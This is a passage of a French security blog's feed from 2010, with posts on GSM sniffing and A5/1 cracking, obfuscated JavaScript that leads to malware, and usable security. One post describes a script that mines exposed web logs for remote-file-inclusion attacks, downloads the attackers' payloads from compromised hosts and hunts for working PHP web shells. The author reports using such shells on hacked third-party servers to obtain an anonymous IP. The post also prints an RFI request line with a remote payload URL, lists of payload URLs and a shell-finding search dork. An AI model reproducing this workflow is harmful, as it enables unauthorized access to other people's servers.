possible avec du matériel standard d'écouter des conversations GSM?&lt;br /&gt;&lt;br /&gt;Tout d'abord, on trouve des sociétés commerciales comme par exemple celle-ci: &lt;a href="http://www.cellularintercept.com/"&gt;http://www.cellularintercept.com/&lt;/a&gt; Passons. En 2008, la &lt;a href="http://www.blackhat.com/"&gt;blackhat&lt;/a&gt; indiquait une &lt;a href="http://www.blackhat.com/presentations/bh-europe-08/Steve-DHulton/Whitepaper/bh-eu-08-steve-dhulton-WP.pdf"&gt;écoute à 900$US&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Les recherches mènent vite au logiciel &lt;a href="https://svn.berlin.ccc.de/projects/airprobe/wiki"&gt;airprobe&lt;/a&gt;:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;AirProbe is the new home of the former GSM-Sniffer project. The goal is to build an air-interface analysis tool for the GSM (and possible later 3G) mobile phone standard. The prime motivation is to learn the details of the technology, help people who develop other open GSM technology (like OpenBTS, OpenMoko?, BS11/OpenBSC and others) and demonstrate the insecurity of the current standard.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La page de garde d'airprobe est bien faite et sépare le problème en trois phases:&lt;br /&gt;1/ L'écoute des ondes radios. Basée entre autre sur le travail fait par GNURadio. Il s'agit bien évidemment d'une phase d'acquisition matérielle.&lt;br /&gt;2/ La démodulation qui transforme ces ondes en paquets d'octets. Un PC de bureau devrait suffire, même s'il est conseillé d'utiliser des FPGA.&lt;br /&gt;3/ Le déchiffrement de ces octets. Ce troisième point est donc l'information intéressante. Airprobe n'est pas intéressé par le déchiffrement real-time, seulement un déchiffrement en best effort pour montrer l'insécurité du GSM.&lt;br /&gt;&lt;br /&gt;La seule board capable d'écouter les ondes GSM semble être l'USRP. Elle existe à deux tarifs: v1 pour 700$, v2 pour 1400$, le site d'airprobe est bien documenté la dessus. Pour la démodulation, c'est effectivement un peu flou. La page du wiki est vide... Et quant au déchiffrement, rien de bien probant non plus. La lecture du site montre que c'est en cours &lt;a href="https://svn.berlin.ccc.de/projects/airprobe/wiki/DeCryption"&gt;https://svn.berlin.ccc.de/projects/airprobe/wiki/DeCryption&lt;/a&gt; , sans plus; je cite:&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;Our ultimate goal is to crack A5/1:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  1. by only intercepting data (passiv)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  2. require less than 4Terabyte HD.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  3. able to decrypt short encrypted bursts (like SMS, last less than 0.1 seconds).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  4. Cracking time less than 1 day. &lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Donc un logiciel (libre) existe pour casser du GSM, mais il n'est pas encore terminé... Airprobe sera-t'il un jour au GSM ce que &lt;a href="http://www.aircrack-ng.org/"&gt;aircrack &lt;/a&gt;est au Wifi?&lt;br /&gt;&lt;br /&gt;Un autre papier publié récemment, &lt;a href="http://www.sans.edu/resources/student_projects/201004_30.pdf"&gt;http://www.sans.edu/resources/student_projects/201004_30.pdf&lt;/a&gt; résume bien l'état de l'art: "&lt;span style="font-style: italic;"&gt;There is published research that significantly reduces the level of effort to sniff on GSM cell calls. The attack is still non-trivial and does require some knowledge and resources.&lt;/span&gt;" (ce papier a de nombreux autres liens très intéressants dans sa biblio). Pour le cassage d'A51 c'est par ici &lt;a href="http://reflextor.com/trac/a51"&gt;http://reflextor.com/trac/a51&lt;/a&gt;, avec un &lt;a href="https://har2009.org/program/attachments/119_GSM.A51.Cracking.Nohl.pdf"&gt;bon résumé&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Le résultat est donc mitigé:&lt;br /&gt;Théoriquement c'est cassé, en pratique on y arrive pas encore de manière accessible...&lt;br /&gt;En sécurité informatique, ce qui ne se voit pas est il inexistant? Faut il continuer de faire confiance au GSM?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-6474692101544766817?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/6474692101544766817/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/10/sniff-sniff-ca-sent-le-gsm.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6474692101544766817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6474692101544766817'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/10/sniff-sniff-ca-sent-le-gsm.html' title='sniff sniff, ça sent le GSM!'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-3486883344096026586</id><published>2010-10-01T16:28:00.005+02:00</published><updated>2010-10-05T12:44:14.806+02:00</updated><title type='text'>High skillz obfuscator javascript !</title><content type='html'>En suivant un page web, je tombe sur du javascript qui est obscurci par une méthode proprement révolutionnaire :-)&lt;br /&gt;&lt;br /&gt;C'est entre autre une variable de plus de 60000 (soixante mille !) caractères qui ressemble à ceci:&lt;a href="http://2.bp.blogspot.com/_oGUvVXIO2bc/TKXwiTcVZHI/AAAAAAAAAC8/sM88NnQCHUk/s1600/obfuscated-js.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 178px;" src="http://2.bp.blogspot.com/_oGUvVXIO2bc/TKXwiTcVZHI/AAAAAAAAAC8/sM88NnQCHUk/s400/obfuscated-js.png" alt="" id="BLOGGER_PHOTO_ID_5523084990165116018" border="0" /&gt;&lt;/a&gt;Ami lecteur, trouveras tu toi aussi la méthode d'obfuscation?&lt;br /&gt;&lt;br /&gt;Une fois dés-obscurcie et remise en ordre, ce javascript renvoie vers un packupdate107_2121.exe qui est peu reconnu par la liste des antivirus. Kaspersky:néant. Microsoft essential: néant. Clamav: néant. 9/34 l'indiquent comme malicieux.&lt;br /&gt;Je joins le &lt;a href="http://www.virustotal.com/file-scan/report.html?id=de3078fcad0f0e9552f94248312211c6e421af5557a50c95eb8a891f76af2177-1285943162"&gt;rapport virustotal.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Edit&lt;/span&gt;: &lt;span style="font-style: italic;"&gt;5 octobre 2010&lt;/span&gt;.&lt;br /&gt;La sauce prend, ça se réveille doucement. Une analyse du 2 octobre,&lt;br /&gt;VirusTotal indique &lt;a href="http://www.virustotal.com/file-scan/report.html?id=de3078fcad0f0e9552f94248312211c6e421af5557a50c95eb8a891f76af2177-1286040890"&gt;19 sur 41&lt;/a&gt;.&lt;br /&gt;Avec une autre analyse aujourd'hui, le 5 octobre, virustotal indique &lt;a href="http://www.virustotal.com/file-scan/report.html?id=de3078fcad0f0e9552f94248312211c6e421af5557a50c95eb8a891f76af2177-1286275123"&gt;30 sur 42&lt;/a&gt;.&lt;br /&gt;Encore un effort et il devrait être détecté de partout :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-3486883344096026586?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/3486883344096026586/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/10/high-skillz-obfuscator-javascript.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3486883344096026586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3486883344096026586'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/10/high-skillz-obfuscator-javascript.html' title='High skillz obfuscator javascript !'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_oGUvVXIO2bc/TKXwiTcVZHI/AAAAAAAAAC8/sM88NnQCHUk/s72-c/obfuscated-js.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-4583531646305092627</id><published>2010-09-30T19:56:00.002+02:00</published><updated>2010-09-30T20:05:28.940+02:00</updated><title type='text'>Sécurité opérationnelle, sécurité pragmatique?</title><content type='html'>Une conférence donnée à la &lt;a href="http://2010.brucon.org/"&gt;BruCon&lt;/a&gt; s'intitule &lt;a href="http://www.feedsite.org/security4all/BruCON_2010_You_Spent_All_That_Money_and_Still_Got_Owned.pdf"&gt;&lt;span style="font-style: italic;"&gt;"You Spent All That Money And You Still Got Owned... "&lt;/span&gt;&lt;/a&gt;. Je suis particulièrement d'accord avec ce titre. Aujourd'hui ou on arrive à construire des voitures fiables, a garantir la distribution d'électricité, et les trains arrivent à l'heure [1], comment se fait-il que la sécurité informatique soit encore et toujours à la ramasse? (je ne prononcerai pas l'antienne «&lt;a href="http://news0ft.blogspot.com/2009/07/lechec-de-la-securite-francaise.html"&gt; la sécurité est un échec&lt;/a&gt;, (c) News0ft ».&lt;br /&gt;&lt;br /&gt;Qu'est ce qui peut expliquer cela? La sécurité coûte cher, certes, mais surtout, elle est contraignante! Les données informatiques sont tout de même faite pour être lues, modifiées, communiquées et partagées. La sécurité informatique est là afin d'empêcher que certaines personnes puissent lire, communiquer, modifier ou partager ces données. Bien entendu, la sécurité informatique doit savoir à qui ces données sont destinées et à qui ces données sont interdites, les protéger durant le transport et leur stockage; la chanson est connue. Présentées de cette manière on observe immédiatement l'orthogonalité du traitement.&lt;br /&gt;Les informations doivent circuler, mais rester confinées. Dilemme. Au milieu de tout cela, il y a l'utilisateur pour qui la sécurité est une contrainte souvent mal vécue (allez écouter le bureau des plaintes des administrateurs systèmes qui imposent des modes drastiques concernant les mots de passes, leurs longueurs, leurs fréquences de changement etc..).&lt;br /&gt;&lt;br /&gt;Bref, comment conjuguer sécurité et utilisabilité de l'outil informatique? Comment rendre la sécurité opérationnelle, et non pas la confiner à des laboratoires? Ne faut il pas plutôt réfléchir à une sécurité que je qualifierai de pragmatique? Point majeur à prendre en compte, &lt;span style="font-style: italic;"&gt;l'utilisateur n'a pas à se soucier de la sécurité&lt;/span&gt;. Au plus la sécurité est invisible au mieux elle est utilisée et donc utile et efficace. La question se pose alors: Quelle sécurité est opérationnelle? Quelle seraient les systèmes de sécurisation pragmatiques, donc utilisés, et efficace?&lt;br /&gt;&lt;br /&gt;Si je prends le &lt;a href="http://en.wikipedia.org/wiki/Transport_Layer_Security"&gt;HTTPS&lt;/a&gt;, c'est intéressant transparent à l'utilisateur, cela corrige des tas de problèmes, mais c'est attaqué avec plus ou moins de succès d'ailleurs. Preuve de son utilisation.&lt;br /&gt;L'&lt;a href="http://en.wikipedia.org/wiki/ASLR"&gt;ASLR&lt;/a&gt;, le &lt;a href="http://en.wikipedia.org/wiki/NX_bit"&gt;W^X&lt;/a&gt; les &lt;a href="http://en.wikipedia.org/wiki/Canary_value"&gt;canaris&lt;/a&gt;, c'est complètement invisible à l'utilisateur, et ça marche. Ca bloque ceux qui veulent &lt;a href="http://www.phrack.com/issues.html?issue=49&amp;amp;id=14"&gt;smasher la stack&lt;/a&gt;, mais ça n'empêche certes pas de continuer à faire du &lt;a href="http://en.wikipedia.org/wiki/Return-to-libc_attack"&gt;fun&lt;/a&gt; et du &lt;a href="http://en.wikipedia.org/wiki/Return-oriented_programming"&gt;profit&lt;/a&gt;.&lt;br /&gt;Le &lt;a href="http://en.wikipedia.org/wiki/Single_sign-on"&gt;SSO&lt;/a&gt;, c'est très bien, ça simplifie la vie de l'utilisateur. C'est ardu à mettre en oeuvre (et pleins de chausses trappes), mais cela évite de retrouver la liste des mots de passe sur des post-it.&lt;br /&gt;&lt;br /&gt;Peut être pourrions nous classer les produits de sécurité selon leur innocuité dans le désagrement fourni. Si c'est léger, alors c'est à creuser. Tous les systèmes de sécurité invisibles ne seront pas fiables, mais les systèmes de sécurité trop contraignants sont condamnées à ne pas être employés...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-4583531646305092627?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/4583531646305092627/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/09/securite-operationnelle-securite.html#comment-form' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/4583531646305092627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/4583531646305092627'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/09/securite-operationnelle-securite.html' title='Sécurité opérationnelle, sécurité pragmatique?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-2240943320394901265</id><published>2010-09-13T21:54:00.002+02:00</published><updated>2010-09-14T13:33:45.867+02:00</updated><title type='text'>Old-school trick -- "Give me a shell, quickly!"</title><content type='html'>Il y a quelques mois je parlais des méthodes de &lt;a href="http://en.wikipedia.org/wiki/Remote_File_Inclusion"&gt;Remote File Inclusion&lt;/a&gt; en &lt;a href="http://en.wikipedia.org/wiki/Php"&gt;php&lt;/a&gt;, &lt;a href="http://exploitability.blogspot.com/2009/07/remote-file-inclusion-part1.html"&gt;Partie 1&lt;/a&gt; et &lt;a href="http://exploitability.blogspot.com/2009/07/remote-file-inclusion-part-ii.html"&gt;Partie 2.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;J'avais écrit il y a longtemps un outil qui me permettait de trouver automatiquement des scripts intéressants, entre autre des php shells fonctionnels. J'ai eu il y a peu besoin d'une IP complètement exogène, relativement anonyme pour un test. J'ai relancé l'outil qui a particulièrement bien marché. Explications.&lt;br /&gt;&lt;br /&gt;Cet outil scanne les sites déjà piratés via RFI et vérifie le contenu de l'index ou le script RFI est placé. Il y a de grandes chances d'y trouver un php shell, comme le r57 ou le C99. Profit and have fun!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_oGUvVXIO2bc/TI8vza8Sq3I/AAAAAAAAAC0/FhaM_usYoew/s1600/php-shell.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 331px; height: 400px;" src="http://1.bp.blogspot.com/_oGUvVXIO2bc/TI8vza8Sq3I/AAAAAAAAAC0/FhaM_usYoew/s400/php-shell.jpg" alt="" id="BLOGGER_PHOTO_ID_5516680629004184434" border="0" /&gt;&lt;/a&gt;Un php shell tout ce qu'il y a de plus classique, avec une pléthore d'options délicieusement obsolète: aaah, le &lt;span style="font-style: italic;"&gt;ftp brute force&lt;/span&gt; qui fleure bon les années 2000, ou l'accès a la database MilwOrm (R.I.P., aujourd'hui on a &lt;a href="http://inj3ct0r.com/"&gt;inj3ct0r&lt;/a&gt; ou &lt;a href="http://www.exploit-db.com/"&gt;exploit-db&lt;/a&gt; ).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pourquoi utiliser ce script et pas une simple recherche google à la &lt;span style="font-style: italic;"&gt;johnny I hack stuff&lt;/span&gt; comme "intitle:r57shell +uname -bbpress" ?&lt;/span&gt;&lt;br /&gt;Simplement parceque de manière générale, les liens remontés par google sont soit déjà morts, soit des fakes, soit non fonctionnels. Le temps passé a en trouver un qui marche est trop élevé. De plus, mon outil devait permettre de remonter d'autres infos que les php shells.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Comment fonctionne cet outil? &lt;/span&gt;&lt;br /&gt;Il utilise des sites déjà piratés. Les webmasters ont surement tous lus dans leurs logs des tentatives continues de RFI par des pirates. Ce sont ces URLs qui vont nous servir de base de travail.&lt;br /&gt;Si vous êtes admin d'un site web, vous avez &lt;a href="http://pentester.fr/blog/index.php?post/2010/04/28/Mon-orthographe-me-joue-des-tours#c382"&gt;typiquement de logs de ce genre&lt;/a&gt;. Si vous n'avez pas de logs, trouvez-en. Pour cela google est particulièrement bien adapté grâce aux clés de recherche inurl: et filetype:. Une &lt;a href="http://www.google.com/search?q=inurl%3Aaccess.log+filetype%3Alog"&gt;requête sur access.log et filetype:log&lt;/a&gt; permet de trouver pléthore de logs utilisables.&lt;br /&gt;&lt;br /&gt;Il faut alors chercher des RFI dans ces logs, comme cette inclusion:&lt;br /&gt;130.207.147.170 - - [12/Sep/2010:22:03:54 -0700] "GET /logs//index.php?option=com_log&amp;amp;Itemid=&amp;amp;&lt;span style="font-weight: bold;"&gt;mosConfig_absolute_path=http://www.eroticnorthamerica.com/new//admin/classes/Ckrid1.txt&lt;/span&gt;????? HTTP/1.1" 404 - "-" "MaMa CaSpEr" "www.faciti.com"&lt;br /&gt;&lt;br /&gt;Dans cet exemple, l'inclusion est faite sur http://www.eroticnorthamerica.com/new//admin/classes/Ckrid1.txt en tentant d'abuser la variable mosConfig_absolute_path, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5671"&gt;un vieux hack de ...  2008&lt;/a&gt; (!)&lt;br /&gt;&lt;br /&gt;A la racine http://www.eroticnorthamerica.com/new//admin/classes/ rien. Il suffit d'aller voir la ligne de log suivante, trouver le RFI, aller sur le site source, vérifier son index, etc, etc..&lt;br /&gt;&lt;br /&gt;C'est très répétitif. Or, tout ce qui est répetitif se programme très bien! J'ai donc codé &lt;a href="http://www.risacher.com/la-rache/"&gt;à la Rache&lt;/a&gt; un script shell &lt;span style="font-style: italic;"&gt;drop.sh&lt;/span&gt; qui suit ce process.&lt;br /&gt;Mon outil prend en argument un fichier de log apache, et scanne l'ensemble des RFI. Voici une session, avec un fichier de bonne taille provenant d'une recherche google:&lt;br /&gt;&lt;pre&gt;kevin@slackware:~/sept2010$ ./drop.sh access.log&lt;br /&gt;############## LOGFILE         ##############&lt;br /&gt;Le fichier de log utilisé est :access.log&lt;br /&gt;############## URLSTOCK        ##############&lt;br /&gt;############## ANALYSE         ##############&lt;br /&gt;Le fichier fourni fait 27188 lignes.&lt;br /&gt;Nous avons 211 URL contenant des fichiers d'attaques&lt;br /&gt;Nous avons 179 domaines uniques contenant des fichiers d'attaques&lt;br /&gt;Nous avons 134 variables utilisées pour attaquer&lt;br /&gt;Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10&lt;br /&gt;2013 CONFIG_EXT[ADMIN_PATH]&lt;br /&gt;1040 mosConfig_absolute_path&lt;br /&gt;697 option&lt;br /&gt;476 dir&lt;br /&gt;330 mosConfig.absolute.path&lt;br /&gt;255 board&lt;br /&gt;216 cropimagedir&lt;br /&gt;214 reflect_base&lt;br /&gt;212 myPath&lt;br /&gt;209 error&lt;br /&gt;Appuyez sur entrée pour continuer...&lt;br /&gt;&lt;br /&gt;Nous avons 409 IP différentes utilisées pour attaquer&lt;br /&gt;Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10&lt;br /&gt;1984 78.46.91.40&lt;br /&gt;547 222.236.47.182&lt;br /&gt;188 193.13.73.251&lt;br /&gt;184 74.55.95.42&lt;br /&gt;172 97.74.198.126&lt;br /&gt;147 201.219.3.103&lt;br /&gt;138 94.136.63.119&lt;br /&gt;133 209.40.100.50&lt;br /&gt;117 174.121.166.146&lt;br /&gt;115 194.153.188.2&lt;br /&gt;Appuyez sur entrée pour continuer...&lt;br /&gt;&lt;br /&gt;############## D/L ATTAQUES    ##############&lt;br /&gt;pas de repertoire hax&lt;br /&gt;Deduping eventuel des fichiers d'attaques&lt;br /&gt;Test de la presence de URL-consolide ou ../URL-consolide&lt;br /&gt;Downloading tous les fichiers d'attaques (prend du temps)&lt;br /&gt;3s de timeout par d/l&lt;br /&gt;http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/i1.txt  : d/l en cours : OK&lt;br /&gt;http://127.0.0.1/id.txt  : d/l en cours : 404&lt;br /&gt;http://127.0.0.1/r0x.txt  : d/l en cours : 404&lt;br /&gt;http://1942.jp/pitbull2.txt  : d/l en cours : OK&lt;br /&gt;http://203.252.71.232/~edugraduate/data/file/sub3_1/ckrid1.txt  : d/l en cours : OK&lt;br /&gt;http://203.94.243.59/lib/akas1.txt  : d/l en cours : OK&lt;br /&gt;http://60gp.ovh.net/~wielgoml/images/id.txt  : d/l en cours : OK&lt;br /&gt;http://82.58.46.161/r0x.txt  : d/l en cours : timeout...&lt;br /&gt;http://82.60.25.77/r0x.txt  : d/l en cours : timeout...&lt;br /&gt;(...snip...)&lt;br /&gt;http://yeshouse.mk.co.kr/education/p1.txt  : d/l en cours : timeout...&lt;br /&gt;http://yeshouse.mk.co.kr/my/visual/id1.txt  : d/l en cours : OK&lt;br /&gt;http://yeshouse.net/my/.injek/injek.txt  : d/l en cours : OK&lt;br /&gt;http://yuioo.interfree.it/id.jpg  : d/l en cours : OK&lt;br /&gt;tous les fichiers sont téléchargés&lt;br /&gt;Il y a 143 fichiers récupérés&lt;br /&gt;leger cleanup des noms de fichiers si besoin...&lt;br /&gt;############## D/L INDEXES     ##############&lt;br /&gt;Aller chercher les fichiers d'index? (o/n)o&lt;br /&gt;pas de repertoire recup_index&lt;br /&gt;http://117.110.211.68/~gifted//bbs/skin/uks_board_v3010_up10/images/.png/ : pas d'index&lt;br /&gt;http://1942.jp/ : pas d'index&lt;br /&gt;http://203.252.71.232/~edugraduate/data/file/sub3_1/ : pas d'index&lt;br /&gt;recuperation de l'index de http://203.94.243.59/lib/&lt;br /&gt;recuperation de l'index de http://tatan.ru/templates/default/&lt;br /&gt;(...snip...)&lt;br /&gt;http://yeshouse.net/my/.injek/ : pas d'index&lt;br /&gt;http://yuioo.interfree.it/ : pas d'index&lt;br /&gt;############## DEDUPING FILES  ##############&lt;br /&gt;Il y a 143 fichiers presents dans hax/&lt;br /&gt;Deduplication de fichiers...&lt;br /&gt;Il y a 17 fichiers dupliques&lt;br /&gt;nettoyage des duplicats...&lt;br /&gt;Il reste 126 fichiers presents&lt;br /&gt;voulez vous nettoyer les duplicats des indexs? (o/n)n&lt;br /&gt;############## FINDING FOOD    ##############&lt;br /&gt;Construction de la liste de fichiers potentiellement interessants&lt;br /&gt;### recherche des fichiers contenant le mot clé :irc ###&lt;br /&gt;### recherche des fichiers contenant le mot clé :wget ###&lt;br /&gt;### recherche des fichiers contenant le mot clé :curl ###&lt;br /&gt;### recherche des fichiers contenant le mot clé :w3m ###&lt;br /&gt;### recherche des fichiers contenant le mot clé :lynx ###&lt;br /&gt;### recherche des fichiers contenant le mot clé :wget http ###&lt;br /&gt;### recherche des fichiers contenant le mot clé :gcc ###&lt;br /&gt;### recherche des fichiers contenant le mot clé :C99 ###&lt;br /&gt;Il y a  74  fichiers avec motif interessants&lt;br /&gt;Voulez vous voir le(s) résultat(s), oui, non, top ten? (o/n/10) 10&lt;br /&gt;3 hax/feel.txt&lt;br /&gt;1 hax/file.txt&lt;br /&gt;1 hax/asu.php&lt;br /&gt;1 hax/Jasakom.php&lt;br /&gt;2 hax/head.1&lt;br /&gt;1 hax/id.txt.4&lt;br /&gt;7 hax/lang.txt&lt;br /&gt;1 hax/myid.jpg.5&lt;br /&gt;3 hax/s.txt&lt;br /&gt;2 hax/vrs&lt;br /&gt;Appuyez sur entrée pour continuer...&lt;br /&gt;kevin@slackware:~/sept2010$&lt;/pre&gt;En quelques minutes et une requête google, j'ai a disposition deux php shells, asu.php et Jasakom.php parfaitements fonctionnels, la copie d'écran ci-dessus vient de là.&lt;br /&gt;&lt;br /&gt;Je fournis l'outil à qui veut, "&lt;span style="font-style: italic;"&gt;upon mail request&lt;/span&gt;".&lt;a href="http://en.wikipedia.org/wiki/Beerware"&gt; License Beerware&lt;/a&gt;. Pas de contreindication, pas d'utilisation prolongée sans avis médical :-)&lt;br /&gt;&lt;br /&gt;LIMITATIONS:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;C'est un script shell bash linux écrit sans grand soucis de portabilité ou de propreté du code. Pas dit que ça marche ailleurs que chez moi :)&lt;/li&gt;&lt;li&gt;La substantifique moelle qui est extraite dépend énormément du fichier de logs utilisé. L'expérience m'a montré qu'il faut privilégier bien évidemment les gros fichiers de logs pour maximiser les chances (voir en concaténer plusieurs), mais surtout avoir des logs récents.. La durée de vie d'un RFI est souvent faible.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Le deduping des fichiers pourrait être légèrement amélioré.&lt;/li&gt;&lt;li&gt;La version fournie n'utilise pas &lt;a href="http://tsocks.sourceforge.net/"&gt;tsocks&lt;/a&gt; pour socksifier les téléchargements via &lt;a href="http://www.torproject.org/index.html.fr"&gt;tor&lt;/a&gt;, donc l'IP de la machine lançant le script va apparaitre de partout... Ceci dit, avec tor, il y a quelque fois des problèmes de timeout intempestifs.&lt;/li&gt;&lt;li&gt;Le download des index est parfois un peu trop long, soit que le wget récursif rapatrie le site, soit que chaque fichier fait des timeouts. Il peut donc être nécessaire de killer manuellement le wget qui patine.&lt;/li&gt;&lt;li&gt;Le FINDING FOOD pourrait aussi être amélioré. Selon ce que l'on cherche, des shells php ou des login/pass pour des canaux IRC de botnets ou autre chose comme des toolkits de phishing etc.. Le contenu des index est (quelquefois) riche en information et mériterait une passe plus conséquente.&lt;/li&gt;&lt;li&gt;Le FINDING FOOD devrait aussi aller chercher dans les php bots et autres les URL de mise à jours. Souvent il y a là-bas aussi des choses intéressantes dans les index.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Un tri automatique des RFI devrait être fait (scripts de scan, de tests, de fingerprinting et autres..) pour exploitation ultérieure. &lt;/li&gt;&lt;li&gt;Lorsqu'on lance plusieurs fois le script dans un intervalle de temps réduit je conseille de conserver les URL et les domaines dans le fichier [URL|domain]-consolide afin d'éviter de retélécharger plusieurs fois les mêmes fichiers.&lt;/li&gt;&lt;li&gt;Le script ne fournit pas d'emblée la liste des php shells fonctionnels. Il faut grepper dans les résultats après coup, ou interpréter la liste finale.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tout ça pour quoi, finalement?&lt;/span&gt;&lt;br /&gt;Pourquoi je donne ce script? Comme indiqué dans &lt;a href="http://exploitability.blogspot.com/2009/07/remote-file-inclusion-part-ii.html"&gt;mon deuxième article sur les RFI&lt;/a&gt;, tout ceci est un peu vain.. Le skill est des attaquants faisant ces RFI est plutôt bas. Je cite mon ancien article: " &lt;span style="font-style: italic;"&gt;Moins ils sont bons, plus ils arrosent large et plus j'ai de chance de les voir&lt;/span&gt;". Il y a plusieurs années, j'avais pu trouver des RFI 0day, des progs C intéressants ou des kits de phishing, aujourd'hui on a que de la vieille vuln' de plusieurs années et des innombrables eggdrop et bots IRC, d'où mon désinterêt pour ces botnets. D'ailleurs depuis mon post de blog la dessus, je n'étais plus revenu sur le sujet. Les trackings sur IRC n'apprennent plus rien d'intéressant. Le botnet a changé de visage, et ces php machins sont trop anciens pour avoir de la valeur.&lt;br /&gt;&lt;br /&gt;Enfin les php shells utilisés sur ces machines ne sont pas sains. Impossible d'imaginer les employer pour y placer un script réellement offensif, une attaque très fine ou autre. En effet, ces machines hébergeant du RFI sont généralement percées de toute part, il me surprendrait fort qu'un autre attaquant ne surveille pas ce qui est fait, voire ne sont pas elles-mêmes des &lt;a href="http://en.wikipedia.org/wiki/Honeypot_%28computing%29"&gt;honeypots&lt;/a&gt;. Enfin, certains fichiers de RFI sont eux-mêmes déjà trojanisés et logguent toute utilisation.&lt;br /&gt;Il reste loisible d'utiliser ces machines pour lancer d'autres tricks old-school a leur tour, participant ainsi à la médiocrité ambiante des scripts trouvés sur ce genre de machines :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-2240943320394901265?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/2240943320394901265/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/09/old-school-trick-give-me-shell-quickly.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2240943320394901265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2240943320394901265'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/09/old-school-trick-give-me-shell-quickly.html' title='Old-school trick -- &quot;Give me a shell, quickly!&quot;'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 